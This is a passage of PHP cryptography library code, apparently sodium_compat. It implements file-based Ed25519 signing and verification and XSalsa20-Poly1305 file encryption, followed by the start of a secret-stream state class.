     * @param string $secretKey Secret signing key
     *
     * @return string           Ed25519 signature
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign($filePath, $secretKey)
    {
        /* Type checks: */
        if (!is_string($filePath)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($filePath) . ' given.');
        }
        if (!is_string($secretKey)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($secretKey) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($secretKey) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new TypeError('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES bytes');
        }
        if (PHP_INT_SIZE === 4) {
            return self::sign_core32($filePath, $secretKey);
        }

        /** @var int $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $fp */
        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var string $az */
        $az = hash('sha512', self::substr($secretKey, 0, 32), true);

        $az[0] = self::intToChr(self::chrToInt($az[0]) & 248);
        $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64);

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($az, 32, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        /** @var string $nonceHash */
        $nonceHash = hash_final($hs, true);

        /** @var string $pk */
        $pk = self::substr($secretKey, 32, 32);

        /** @var string $nonce */
        $nonce = ParagonIE_Sodium_Core_Ed25519::sc_reduce($nonceHash) . self::substr($nonceHash, 32);

        /** @var string $sig */
        $sig = ParagonIE_Sodium_Core_Ed25519::ge_p3_tobytes(
            ParagonIE_Sodium_Core_Ed25519::ge_scalarmult_base($nonce)
        );

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($pk, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        /** @var string $hramHash */
        $hramHash = hash_final($hs, true);

        /** @var string $hram */
        $hram = ParagonIE_Sodium_Core_Ed25519::sc_reduce($hramHash);

        /** @var string $sigAfter */
        $sigAfter = ParagonIE_Sodium_Core_Ed25519::sc_muladd($hram, $az, $nonce);

        /** @var string $sig */
        $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32);

        try {
            ParagonIE_Sodium_Compat::memzero($az);
        } catch (SodiumException $ex) {
            $az = null;
        }
        fclose($fp);
        return $sig;
    }

    /**
     * Verify a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_verify_detached(), but
     * produces the same result.
     *
     * @param string $sig       Ed25519 signature
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $publicKey Signing public key
     *
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     * @throws Exception
     */
    public static function verify($sig, $filePath, $publicKey)
    {
        /* Type checks: */
        if (!is_string($sig)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($sig) . ' given.');
        }
        if (!is_string($filePath)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($filePath) . ' given.');
        }
        if (!is_string($publicKey)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($publicKey) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($sig) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_BYTES) {
            throw new TypeError('Argument 1 must be CRYPTO_SIGN_BYTES bytes');
        }
        if (self::strlen($publicKey) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new TypeError('Argument 3 must be CRYPTO_SIGN_PUBLICKEYBYTES bytes');
        }
        if (self::strlen($sig) < 64) {
            throw new SodiumException('Signature is too short');
        }

        if (PHP_INT_SIZE === 4) {
            return self::verify_core32($sig, $filePath, $publicKey);
        }

        /* Security checks */
        if (
            (ParagonIE_Sodium_Core_Ed25519::chrToInt($sig[63]) & 240)
                &&
            ParagonIE_Sodium_Core_Ed25519::check_S_lt_L(self::substr($sig, 32, 32))
        ) {
            throw new SodiumException('S < L - Invalid signature');
        }
        if (ParagonIE_Sodium_Core_Ed25519::small_order($sig)) {
            throw new SodiumException('Signature is on too small of an order');
        }
        if ((self::chrToInt($sig[63]) & 224) !== 0) {
            throw new SodiumException('Invalid signature');
        }
        $d = 0;
        for ($i = 0; $i < 32; ++$i) {
            $d |= self::chrToInt($publicKey[$i]);
        }
        if ($d === 0) {
            throw new SodiumException('All zero public key');
        }

        /** @var int $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $fp */
        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */
        $orig = ParagonIE_Sodium_Compat::$fastMult;

        // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification.
        ParagonIE_Sodium_Compat::$fastMult = true;

        /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A */
        $A = ParagonIE_Sodium_Core_Ed25519::ge_frombytes_negate_vartime($publicKey);

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($publicKey, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);
        /** @var string $hDigest */
        $hDigest = hash_final($hs, true);

        /** @var string $h */
        $h = ParagonIE_Sodium_Core_Ed25519::sc_reduce($hDigest) . self::substr($hDigest, 32);

        /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P2 $R */
        $R = ParagonIE_Sodium_Core_Ed25519::ge_double_scalarmult_vartime(
            $h,
            $A,
            self::substr($sig, 32)
        );

        /** @var string $rcheck */
        $rcheck = ParagonIE_Sodium_Core_Ed25519::ge_tobytes($R);

        // Close the file handle
        fclose($fp);

        // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before.
        ParagonIE_Sodium_Compat::$fastMult = $orig;
        return self::verify_32($rcheck, self::substr($sig, 0, 32));
    }

    /**
     * @param resource $ifp
     * @param resource $ofp
     * @param int      $mlen
     * @param string   $nonce
     * @param string   $boxKeypair
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function box_encrypt($ifp, $ofp, $mlen, $nonce, $boxKeypair)
    {
        if (PHP_INT_SIZE === 4) {
            return self::secretbox_encrypt(
                $ifp,
                $ofp,
                $mlen,
                $nonce,
                ParagonIE_Sodium_Crypto32::box_beforenm(
                    ParagonIE_Sodium_Crypto32::box_secretkey($boxKeypair),
                    ParagonIE_Sodium_Crypto32::box_publickey($boxKeypair)
                )
            );
        }
        return self::secretbox_encrypt(
            $ifp,
            $ofp,
            $mlen,
            $nonce,
            ParagonIE_Sodium_Crypto::box_beforenm(
                ParagonIE_Sodium_Crypto::box_secretkey($boxKeypair),
                ParagonIE_Sodium_Crypto::box_publickey($boxKeypair)
            )
        );
    }


    /**
     * @param resource $ifp
     * @param resource $ofp
     * @param int      $mlen
     * @param string   $nonce
     * @param string   $boxKeypair
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function box_decrypt($ifp, $ofp, $mlen, $nonce, $boxKeypair)
    {
        if (PHP_INT_SIZE === 4) {
            return self::secretbox_decrypt(
                $ifp,
                $ofp,
                $mlen,
                $nonce,
                ParagonIE_Sodium_Crypto32::box_beforenm(
                    ParagonIE_Sodium_Crypto32::box_secretkey($boxKeypair),
                    ParagonIE_Sodium_Crypto32::box_publickey($boxKeypair)
                )
            );
        }
        return self::secretbox_decrypt(
            $ifp,
            $ofp,
            $mlen,
            $nonce,
            ParagonIE_Sodium_Crypto::box_beforenm(
                ParagonIE_Sodium_Crypto::box_secretkey($boxKeypair),
                ParagonIE_Sodium_Crypto::box_publickey($boxKeypair)
            )
        );
    }

    /**
     * Encrypt a file
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_encrypt($ifp, $ofp, $mlen, $nonce, $key)
    {
        if (PHP_INT_SIZE === 4) {
            return self::secretbox_encrypt_core32($ifp, $ofp, $mlen, $nonce, $key);
        }

        $plaintext = fread($ifp, 32);
        if (!is_string($plaintext)) {
            throw new SodiumException('Could not read input file');
        }
        $first32 = self::ftell($ifp);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = str_repeat("\x00", 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen0 = $mlen;
        if ($mlen0 > 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES) {
            $mlen0 = 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0, $mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20_xor(
            $block0,
            $realNonce,
            $subkey
        );

        $state = new ParagonIE_Sodium_Core_Poly1305_State(
            ParagonIE_Sodium_Core_Util::substr(
                $block0,
                0,
                ParagonIE_Sodium_Crypto::onetimeauth_poly1305_KEYBYTES
            )
        );

        // Pre-write 16 blank bytes for the Poly1305 tag
        $start = self::ftell($ofp);
        fwrite($ofp, str_repeat("\x00", 16));

        /** @var string $c */
        $cBlock = ParagonIE_Sodium_Core_Util::substr(
            $block0,
            ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES
        );
        $state->update($cBlock);
        fwrite($ofp, $cBlock);
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE >> 6;

        /*
         * Set the cursor to the end of the first half-block. All future bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        fseek($ifp, $first32, SEEK_SET);

        while ($mlen > 0) {
            $blockSize = $mlen > self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $plaintext = fread($ifp, $blockSize);
            if (!is_string($plaintext)) {
                throw new SodiumException('Could not read input file');
            }
            $cBlock = ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic(
                $plaintext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $cBlock, $blockSize);
            $state->update($cBlock);

            $mlen -= $blockSize;
            $iter += $incr;
        }
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }
        $end = self::ftell($ofp);

        /*
         * Write the Poly1305 authentication tag that provides integrity
         * over the ciphertext (encrypt-then-MAC)
         */
        fseek($ofp, $start, SEEK_SET);
        fwrite($ofp, $state->finish(), ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES);
        fseek($ofp, $end, SEEK_SET);
        unset($state);

        return true;
    }

    /**
     * Decrypt a file
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_decrypt($ifp, $ofp, $mlen, $nonce, $key)
    {
        if (PHP_INT_SIZE === 4) {
            return self::secretbox_decrypt_core32($ifp, $ofp, $mlen, $nonce, $key);
        }
        $tag = fread($ifp, 16);
        if (!is_string($tag)) {
            throw new SodiumException('Could not read input file');
        }

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20(
            64,
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
            $subkey
        );

        /* Verify the Poly1305 MAC -before- attempting to decrypt! */
        $state = new ParagonIE_Sodium_Core_Poly1305_State(self::substr($block0, 0, 32));
        if (!self::onetimeauth_verify($state, $ifp, $tag, $mlen)) {
            throw new SodiumException('Invalid MAC');
        }

        /*
         * Set the cursor to the end of the first half-block. All future bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        $first32 = fread($ifp, 32);
        if (!is_string($first32)) {
            throw new SodiumException('Could not read input file');
        }
        $first32len = self::strlen($first32);
        fwrite(
            $ofp,
            self::xorStrings(
                self::substr($block0, 32, $first32len),
                self::substr($first32, 0, $first32len)
            )
        );
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE >> 6;

        /* Decrypts ciphertext, writes to output file. */
        while ($mlen > 0) {
            $blockSize = $mlen > self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input file');
            }
            $pBlock = ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic(
                $ciphertext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $pBlock, $blockSize);
            $mlen -= $blockSize;
            $iter += $incr;
        }
        return true;
    }

    /**
     * @param ParagonIE_Sodium_Core_Poly1305_State $state
     * @param resource $ifp
     * @param string $tag
     * @param int $mlen
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function onetimeauth_verify(
        ParagonIE_Sodium_Core_Poly1305_State $state,
        $ifp,
        $tag = '',
        $mlen = 0
    ) {
        /** @var int $pos */
        $pos = self::ftell($ifp);

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE >> 6;

        while ($mlen > 0) {
            $blockSize = $mlen > self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input file');
            }
            $state->update($ciphertext);
            $mlen -= $blockSize;
            $iter += $incr;
        }
        $res = ParagonIE_Sodium_Core_Util::verify_16($tag, $state->finish());

        fseek($ifp, $pos, SEEK_SET);
        return $res;
    }

    /**
     * Update a hash context with the contents of a file, without
     * loading the entire file into memory.
     *
     * @param resource|HashContext $hash
     * @param resource $fp
     * @param int $size
     * @return resource|object Resource on PHP < 7.2, HashContext object on PHP >= 7.2
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress PossiblyInvalidArgument
     *                 PHP 7.2 changes from a resource to an object,
     *                 which causes Psalm to complain about an error.
     * @psalm-suppress TypeCoercion
     *                 Ditto.
     */
    public static function updateHashWithFile($hash, $fp, $size = 0)
    {
        /* Type checks: */
        if (PHP_VERSION_ID < 70200) {
            if (!is_resource($hash)) {
                throw new TypeError('Argument 1 must be a resource, ' . gettype($hash) . ' given.');
            }
        } else {
            if (!is_object($hash)) {
                throw new TypeError('Argument 1 must be an object (PHP 7.2+), ' . gettype($hash) . ' given.');
            }
        }

        if (!is_resource($fp)) {
            throw new TypeError('Argument 2 must be a resource, ' . gettype($fp) . ' given.');
        }
        if (!is_int($size)) {
            throw new TypeError('Argument 3 must be an integer, ' . gettype($size) . ' given.');
        }

        /** @var int $originalPosition */
        $originalPosition = self::ftell($fp);

        // Move file pointer to beginning of file
        fseek($fp, 0, SEEK_SET);
        for ($i = 0; $i < $size; $i += self::BUFFER_SIZE) {
            /** @var string|bool $message */
            $message = fread(
                $fp,
                ($size - $i) > self::BUFFER_SIZE
                    ? $size - $i
                    : self::BUFFER_SIZE
            );
            if (!is_string($message)) {
                throw new SodiumException('Unexpected error reading from file.');
            }
            /** @var string $message */
            /** @psalm-suppress InvalidArgument */
            self::hash_update($hash, $message);
        }
        // Reset file pointer's position
        fseek($fp, $originalPosition, SEEK_SET);
        return $hash;
    }

    /**
     * Sign a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_detached(), but produces
     * the same result. (32-bit)
     *
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $secretKey Secret signing key
     *
     * @return string           Ed25519 signature
     * @throws SodiumException
     * @throws TypeError
     */
    private static function sign_core32($filePath, $secretKey)
    {
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var string $az */
        $az = hash('sha512', self::substr($secretKey, 0, 32), true);

        $az[0] = self::intToChr(self::chrToInt($az[0]) & 248);
        $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64);

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($az, 32, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        $nonceHash = hash_final($hs, true);
        $pk = self::substr($secretKey, 32, 32);
        $nonce = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($nonceHash) . self::substr($nonceHash, 32);
        $sig = ParagonIE_Sodium_Core32_Ed25519::ge_p3_tobytes(
            ParagonIE_Sodium_Core32_Ed25519::ge_scalarmult_base($nonce)
        );

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($pk, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        $hramHash = hash_final($hs, true);

        $hram = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($hramHash);

        $sigAfter = ParagonIE_Sodium_Core32_Ed25519::sc_muladd($hram, $az, $nonce);

        /** @var string $sig */
        $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32);

        try {
            ParagonIE_Sodium_Compat::memzero($az);
        } catch (SodiumException $ex) {
            $az = null;
        }
        fclose($fp);
        return $sig;
    }

    /**
     *
     * Verify a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_verify_detached(), but
     * produces the same result. (32-bit)
     *
     * @param string $sig       Ed25519 signature
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $publicKey Signing public key
     *
     * @return bool
     * @throws SodiumException
     * @throws Exception
     */
    public static function verify_core32($sig, $filePath, $publicKey)
    {
        /* Security checks */
        if (ParagonIE_Sodium_Core32_Ed25519::check_S_lt_L(self::substr($sig, 32, 32))) {
            throw new SodiumException('S < L - Invalid signature');
        }
        if (ParagonIE_Sodium_Core32_Ed25519::small_order($sig)) {
            throw new SodiumException('Signature is on too small of an order');
        }

        if ((self::chrToInt($sig[63]) & 224) !== 0) {
            throw new SodiumException('Invalid signature');
        }
        $d = 0;
        for ($i = 0; $i < 32; ++$i) {
            $d |= self::chrToInt($publicKey[$i]);
        }
        if ($d === 0) {
            throw new SodiumException('All zero public key');
        }

        /** @var int|bool $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }
        /** @var int $size */

        /** @var resource|bool $fp */
        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for reading');
        }
        /** @var resource $fp */

        /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */
        $orig = ParagonIE_Sodium_Compat::$fastMult;

        // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification.
        ParagonIE_Sodium_Compat::$fastMult = true;

        /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A */
        $A = ParagonIE_Sodium_Core32_Ed25519::ge_frombytes_negate_vartime($publicKey);

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($publicKey, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);
        /** @var string $hDigest */
        $hDigest = hash_final($hs, true);

        /** @var string $h */
        $h = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($hDigest) . self::substr($hDigest, 32);

        /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $R */
        $R = ParagonIE_Sodium_Core32_Ed25519::ge_double_scalarmult_vartime(
            $h,
            $A,
            self::substr($sig, 32)
        );

        /** @var string $rcheck */
        $rcheck = ParagonIE_Sodium_Core32_Ed25519::ge_tobytes($R);

        // Close the file handle
        fclose($fp);

        // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before.
        ParagonIE_Sodium_Compat::$fastMult = $orig;
        return self::verify_32($rcheck, self::substr($sig, 0, 32));
    }

    /**
     * Encrypt a file (32-bit)
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_encrypt_core32($ifp, $ofp, $mlen, $nonce, $key)
    {
        $plaintext = fread($ifp, 32);
        if (!is_string($plaintext)) {
            throw new SodiumException('Could not read input file');
        }
        $first32 = self::ftell($ifp);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = str_repeat("\x00", 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen0 = $mlen;
        if ($mlen0 > 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES) {
            $mlen0 = 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0, $mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor(
            $block0,
            $realNonce,
            $subkey
        );

        $state = new ParagonIE_Sodium_Core32_Poly1305_State(
            ParagonIE_Sodium_Core32_Util::substr(
                $block0,
                0,
                ParagonIE_Sodium_Crypto::onetimeauth_poly1305_KEYBYTES
            )
        );

        // Pre-write 16 blank bytes for the Poly1305 tag
        $start = self::ftell($ofp);
        fwrite($ofp, str_repeat("\x00", 16));

        /** @var string $c */
        $cBlock = ParagonIE_Sodium_Core32_Util::substr(
            $block0,
            ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES
        );
        $state->update($cBlock);
        fwrite($ofp, $cBlock);
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE >> 6;

        /*
         * Set the cursor to the end of the first half-block. All future bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        fseek($ifp, $first32, SEEK_SET);

        while ($mlen > 0) {
            $blockSize = $mlen > self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $plaintext = fread($ifp, $blockSize);
            if (!is_string($plaintext)) {
                throw new SodiumException('Could not read input file');
            }
            $cBlock = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic(
                $plaintext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $cBlock, $blockSize);
            $state->update($cBlock);

            $mlen -= $blockSize;
            $iter += $incr;
        }
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }
        $end = self::ftell($ofp);

        /*
         * Write the Poly1305 authentication tag that provides integrity
         * over the ciphertext (encrypt-then-MAC)
         */
        fseek($ofp, $start, SEEK_SET);
        fwrite($ofp, $state->finish(), ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES);
        fseek($ofp, $end, SEEK_SET);
        unset($state);

        return true;
    }

    /**
     * Decrypt a file (32-bit)
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_decrypt_core32($ifp, $ofp, $mlen, $nonce, $key)
    {
        $tag = fread($ifp, 16);
        if (!is_string($tag)) {
            throw new SodiumException('Could not read input file');
        }

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20(
            64,
            ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
            $subkey
        );

        /* Verify the Poly1305 MAC -before- attempting to decrypt! */
        $state = new ParagonIE_Sodium_Core32_Poly1305_State(self::substr($block0, 0, 32));
        if (!self::onetimeauth_verify_core32($state, $ifp, $tag, $mlen)) {
            throw new SodiumException('Invalid MAC');
        }

        /*
         * Set the cursor to the end of the first half-block. All future bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        $first32 = fread($ifp, 32);
        if (!is_string($first32)) {
            throw new SodiumException('Could not read input file');
        }
        $first32len = self::strlen($first32);
        fwrite(
            $ofp,
            self::xorStrings(
                self::substr($block0, 32, $first32len),
                self::substr($first32, 0, $first32len)
            )
        );
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE >> 6;

        /* Decrypts ciphertext, writes to output file. */
        while ($mlen > 0) {
            $blockSize = $mlen > self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input file');
            }
            $pBlock = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic(
                $ciphertext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $pBlock, $blockSize);
            $mlen -= $blockSize;
            $iter += $incr;
        }
        return true;
    }

    /**
     * One-time message authentication for 32-bit systems
     *
     * @param ParagonIE_Sodium_Core32_Poly1305_State $state
     * @param resource $ifp
     * @param string $tag
     * @param int $mlen
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function onetimeauth_verify_core32(
        ParagonIE_Sodium_Core32_Poly1305_State $state,
        $ifp,
        $tag = '',
        $mlen = 0
    ) {
        /** @var int $pos */
        $pos = self::ftell($ifp);

        while ($mlen > 0) {
            $blockSize = $mlen > self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input file');
            }
            $state->update($ciphertext);
            $mlen -= $blockSize;
        }
        $res = ParagonIE_Sodium_Core32_Util::verify_16($tag, $state->finish());

        fseek($ifp, $pos, SEEK_SET);
        return $res;
    }

    /**
     * @param resource $resource
     * @return int
     * @throws SodiumException
     */
    private static function ftell($resource)
    {
        $return = ftell($resource);
        if (!is_int($return)) {
            throw new SodiumException('ftell() returned false');
        }
        return (int) $return;
    }
}
<?php

/**
 * Class ParagonIE_Sodium_Core32_SecretStream_State
 */
class ParagonIE_Sodium_Core32_SecretStream_State
{
    /** @var string $key */
    protected $key;

    /** @var int $counter */
    protected $counter;

    /** @var string $nonce */
    protected $nonce;

    /** @var string $_pad */
    protected $_pad;

    /**
     * ParagonIE_Sodium_Core32_SecretStream_State constructor.
     * @param string $key
     * @param string|null $nonce
     */
    public function __construct($key, $nonce = null)
    {
        $this->key = $key;
        $this->counter = 1;
        if (is_null($nonce)) {
            $nonce = str_repeat("\0", 12);
        }
        $this->nonce = str_pad($nonce, 12, "\0", STR_PAD_RIGHT);;
        $this->_pad = str_repeat("\0", 4);
    }

    /**
     * @return self
     */
    public function counterReset()
    {
        $this->counter = 1;
        $this->_pad = str_repeat("\0", 4);
        return $this;
    }

    /**
     * @return string
     */
    public function getKey()
    {
        return $this->key;
    }

    /**
     * @return string
     */
    public function getCounter()
    {
        return ParagonIE_Sodium_Core32_Util::store32_le($this->counter);
    }

    /**
     * @return string
     */
    public function getNonce()
    {
        if (!is_string($this->nonce)) {
            $this->nonce = str_repeat("\0", 12);
        }
        if (ParagonIE_Sodium_Core32_Util::strlen($this->nonce) !== 12) {
            $this->nonce = str_pad($this->nonce, 12, "\0", STR_PAD_RIGHT);
        }
        return $this->nonce;
    }

    /**
     * @return string
     */
    public function getCombinedNonce()
    {
        return $this->getCounter() .
            ParagonIE_Sodium_Core32_Util::substr($this->getNonce(), 0, 8);
    }

    /**
     * @return self
     */
    public function incrementCounter()
    {
        ++$this->counter;
        return $this;
    }

    /**
     * @return bool
     */
    public function needsRekey()
    {
        return ($this->counter & 0xffff) === 0;
    }

    /**
     * @param string $newKeyAndNonce
     * @return self
     */
    public function rekey($newKeyAndNonce)
    {
        $this->key = ParagonIE_Sodium_Core32_Util::substr($newKeyAndNonce, 0, 32);
        $this->nonce = str_pad(
            ParagonIE_Sodium_Core32_Util::substr($newKeyAndNonce, 32),
            12,
            "\0",
            STR_PAD_RIGHT
        );
        return $this;
    }

    /**
     * @param string $str
     * @return self
     */
    public function xorNonce($str)
    {
        $this->nonce = ParagonIE_Sodium_Core32_Util::xorStrings(
            $this->getNonce(),
            str_pad(
                ParagonIE_Sodium_Core32_Util::substr($str, 0, 8),
                12,
                "\0",
                STR_PAD_RIGHT
            )
        );
        return $this;
    }

    /**
     * @param string $string
     * @return self
     */
    public static function fromString($string)
    {
        $state = new ParagonIE_Sodium_Core32_SecretStream_State(
            ParagonIE_Sodium_Core32_Util::substr($string, 0, 32)
        );
        $state->counter = ParagonIE_Sodium_Core32_Util::load_4(
            ParagonIE_Sodium_Core32_Util::substr($string, 32, 4)
        );
        $state->nonce = ParagonIE_Sodium_Core32_Util::substr($string, 36, 12);
        $state->_pad = ParagonIE_Sodium_Core32_Util::substr($string, 48, 8);
        return $state;
    }

